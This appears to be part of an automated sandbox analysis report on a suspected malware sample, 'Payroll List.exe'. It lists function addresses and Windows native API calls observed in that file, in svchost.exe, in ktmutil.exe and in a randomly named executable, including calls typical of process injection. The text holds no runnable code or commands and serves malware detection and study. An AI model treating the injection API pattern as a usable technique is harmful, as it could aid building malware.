Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039739B0 NtGetContextThread,	2_2_039739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03973D10 NtOpenProcessToken,	2_2_03973D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03973D70 NtOpenThread,	2_2_03973D70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E14340 NtSetContextThread,LdrInitializeThunk,	6_2_02E14340
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E14650 NtSuspendThread,LdrInitializeThunk,	6_2_02E14650
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12AF0 NtWriteFile,LdrInitializeThunk,	6_2_02E12AF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12AD0 NtReadFile,LdrInitializeThunk,	6_2_02E12AD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_02E12BE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_02E12BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_02E12BA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12B60 NtClose,LdrInitializeThunk,	6_2_02E12B60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_02E12EE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_02E12E80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12FE0 NtCreateFile,LdrInitializeThunk,	6_2_02E12FE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12FB0 NtResumeThread,LdrInitializeThunk,	6_2_02E12FB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12F30 NtCreateSection,LdrInitializeThunk,	6_2_02E12F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_02E12CA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12C60 NtCreateKey,LdrInitializeThunk,	6_2_02E12C60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_02E12C70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_02E12DF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12DD0 NtDelayExecution,LdrInitializeThunk,	6_2_02E12DD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_02E12D30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_02E12D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E135C0 NtCreateMutant,LdrInitializeThunk,	6_2_02E135C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E139B0 NtGetContextThread,LdrInitializeThunk,	6_2_02E139B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12AB0 NtWaitForSingleObject,	6_2_02E12AB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12B80 NtQueryInformationFile,	6_2_02E12B80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12EA0 NtAdjustPrivilegesToken,	6_2_02E12EA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12E30 NtWriteVirtualMemory,	6_2_02E12E30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12FA0 NtQuerySection,	6_2_02E12FA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12F90 NtProtectVirtualMemory,	6_2_02E12F90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12F60 NtCreateProcessEx,	6_2_02E12F60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12CF0 NtOpenProcess,	6_2_02E12CF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12CC0 NtQueryVirtualMemory,	6_2_02E12CC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12C00 NtQueryInformationProcess,	6_2_02E12C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12DB0 NtEnumerateKey,	6_2_02E12DB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E12D00 NtSetInformationFile,	6_2_02E12D00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E13090 NtSetValueKey,	6_2_02E13090
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E13010 NtOpenDirectoryObject,	6_2_02E13010
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E13D70 NtOpenThread,	6_2_02E13D70
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E13D10 NtOpenProcessToken,	6_2_02E13D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_00429280 NtCreateFile,	6_2_00429280
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_004293F0 NtReadFile,	6_2_004293F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_004294F0 NtDeleteFile,	6_2_004294F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_004295A0 NtClose,	6_2_004295A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_00429700 NtAllocateVirtualMemory,	6_2_00429700

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00166606: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00166606

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0015ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_0015ACC5

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_001679D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_001679D3

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0014B043	0_2_0014B043
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015410F	0_2_0015410F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001402A4	0_2_001402A4
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015038E	0_2_0015038E
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0012E3B0	0_2_0012E3B0
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015467F	0_2_0015467F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001406D9	0_2_001406D9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0018AACE	0_2_0018AACE
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00154BEF	0_2_00154BEF
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0014CCC1	0_2_0014CCC1
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00126F07	0_2_00126F07
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0012AF50	0_2_0012AF50
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013B11F	0_2_0013B11F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001831BC	0_2_001831BC
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0014D1B9	0_2_0014D1B9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00133200	0_2_00133200
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0014123A	0_2_0014123A
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015724D	0_2_0015724D
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001613CA	0_2_001613CA
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001293F0	0_2_001293F0
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013F563	0_2_0013F563
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001296C0	0_2_001296C0
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0016B6CC	0_2_0016B6CC
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001277B0	0_2_001277B0
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0018F7FF	0_2_0018F7FF
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_001579C9	0_2_001579C9
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013FA57	0_2_0013FA57
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00133B70	0_2_00133B70
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00129B60	0_2_00129B60
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00127D19	0_2_00127D19
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013FE6F	0_2_0013FE6F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00149ED0	0_2_00149ED0
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00127FA3	0_2_00127FA3
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00D58468	0_2_00D58468
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004188F3	2_2_004188F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403060	2_2_00403060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010C0	2_2_004010C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101CA	2_2_004101CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004101D3	2_2_004101D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401200	2_2_00401200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040235D	2_2_0040235D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402360	2_2_00402360
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416B33	2_2_00416B33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004103F3	2_2_004103F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402B95	2_2_00402B95
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402BA0	2_2_00402BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E46B	2_2_0040E46B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E473	2_2_0040E473
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EEA3	2_2_0042EEA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A003E6	2_2_03A003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394E3F0	2_2_0394E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FA352	2_2_039FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C02C0	2_2_039C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0274	2_2_039E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A001AA	2_2_03A001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F81CC	2_2_039F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DA118	2_2_039DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930100	2_2_03930100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039C8158	2_2_039C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039D2000	2_2_039D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393C7C0	2_2_0393C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03964750	2_2_03964750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940770	2_2_03940770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395C6E0	2_2_0395C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A00591	2_2_03A00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940535	2_2_03940535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EE4F6	2_2_039EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F2446	2_2_039F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F6BD7	2_2_039F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FAB40	2_2_039FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393EA80	2_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A0A9A6	2_2_03A0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039429A0	2_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03956962	2_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039268B8	2_2_039268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0396E8F0	2_2_0396E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394A840	2_2_0394A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03942840	2_2_03942840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039BEFA0	2_2_039BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03932FC8	2_2_03932FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394CFE0	2_2_0394CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03960F30	2_2_03960F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03982F28	2_2_03982F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B4F40	2_2_039B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03952E90	2_2_03952E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FCE93	2_2_039FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FEEDB	2_2_039FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FEE26	2_2_039FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940E59	2_2_03940E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03958DBF	2_2_03958DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0393ADE0	2_2_0393ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394AD00	2_2_0394AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E0CB5	2_2_039E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03930CF2	2_2_03930CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03940C00	2_2_03940C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0398739A	2_2_0398739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F132D	2_2_039F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392D34C	2_2_0392D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039452A0	2_2_039452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395B2C0	2_2_0395B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039E12ED	2_2_039E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0394B1B0	2_2_0394B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A0B16B	2_2_03A0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0392F172	2_2_0392F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0397516C	2_2_0397516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EF0CC	2_2_039EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039470C0	2_2_039470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F70E9	2_2_039F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FF0E0	2_2_039FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FF7B0	2_2_039FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F16CC	2_2_039F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DD5B0	2_2_039DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F7571	2_2_039F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FF43F	2_2_039FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03931460	2_2_03931460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395FB80	2_2_0395FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B5BF0	2_2_039B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0397DBF9	2_2_0397DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FFB76	2_2_039FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039DDAAC	2_2_039DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03985AA0	2_2_03985AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039EDAC6	2_2_039EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FFA49	2_2_039FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F7A46	2_2_039F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B3A6C	2_2_039B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03949950	2_2_03949950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395B950	2_2_0395B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039438E0	2_2_039438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039AD800	2_2_039AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03941F92	2_2_03941F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FFFB1	2_2_039FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FFF09	2_2_039FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03949EB0	2_2_03949EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0395FDC0	2_2_0395FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F1D5A	2_2_039F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03943D40	2_2_03943D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039F7D73	2_2_039F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039FFCF2	2_2_039FFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039B9C32	2_2_039B9C32
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518A59A	4_2_0518A59A
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518A5A3	4_2_0518A5A3
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518883B	4_2_0518883B
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05190F03	4_2_05190F03
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518A7C3	4_2_0518A7C3
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_051A9273	4_2_051A9273
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E602C0	6_2_02E602C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E80274	6_2_02E80274
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EA03E6	6_2_02EA03E6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DEE3F0	6_2_02DEE3F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9A352	6_2_02E9A352
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E72000	6_2_02E72000
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E981CC	6_2_02E981CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EA01AA	6_2_02EA01AA
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E941A2	6_2_02E941A2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E68158	6_2_02E68158
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DD0100	6_2_02DD0100
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E7A118	6_2_02E7A118
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DFC6E0	6_2_02DFC6E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DDC7C0	6_2_02DDC7C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE0770	6_2_02DE0770
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E04750	6_2_02E04750
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E8E4F6	6_2_02E8E4F6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E92446	6_2_02E92446
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E84420	6_2_02E84420
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EA0591	6_2_02EA0591
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE0535	6_2_02DE0535
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DDEA80	6_2_02DDEA80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E96BD7	6_2_02E96BD7
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9AB40	6_2_02E9AB40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E0E8F0	6_2_02E0E8F0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DC68B8	6_2_02DC68B8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE2840	6_2_02DE2840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DEA840	6_2_02DEA840
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EAA9A6	6_2_02EAA9A6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE29A0	6_2_02DE29A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DF6962	6_2_02DF6962
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9EEDB	6_2_02E9EEDB
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DF2E90	6_2_02DF2E90
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9CE93	6_2_02E9CE93
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE0E59	6_2_02DE0E59
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9EE26	6_2_02E9EE26
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DD2FC8	6_2_02DD2FC8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DECFE0	6_2_02DECFE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E5EFA0	6_2_02E5EFA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E54F40	6_2_02E54F40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E22F28	6_2_02E22F28
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E00F30	6_2_02E00F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E82F30	6_2_02E82F30
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DD0CF2	6_2_02DD0CF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E80CB5	6_2_02E80CB5
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE0C00	6_2_02DE0C00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DDADE0	6_2_02DDADE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DF8DBF	6_2_02DF8DBF
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DEAD00	6_2_02DEAD00
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E7CD1F	6_2_02E7CD1F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E812ED	6_2_02E812ED
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DFB2C0	6_2_02DFB2C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE52A0	6_2_02DE52A0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E2739A	6_2_02E2739A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DCD34C	6_2_02DCD34C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9132D	6_2_02E9132D
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E970E9	6_2_02E970E9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9F0E0	6_2_02E9F0E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE70C0	6_2_02DE70C0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E8F0CC	6_2_02E8F0CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DEB1B0	6_2_02DEB1B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EAB16B	6_2_02EAB16B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E1516C	6_2_02E1516C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DCF172	6_2_02DCF172
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E916CC	6_2_02E916CC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E25630	6_2_02E25630
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9F7B0	6_2_02E9F7B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DD1460	6_2_02DD1460
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9F43F	6_2_02E9F43F
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02EA95C3	6_2_02EA95C3
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E7D5B0	6_2_02E7D5B0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E97571	6_2_02E97571
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E8DAC6	6_2_02E8DAC6
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E25AA0	6_2_02E25AA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E7DAAC	6_2_02E7DAAC
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E81AA3	6_2_02E81AA3
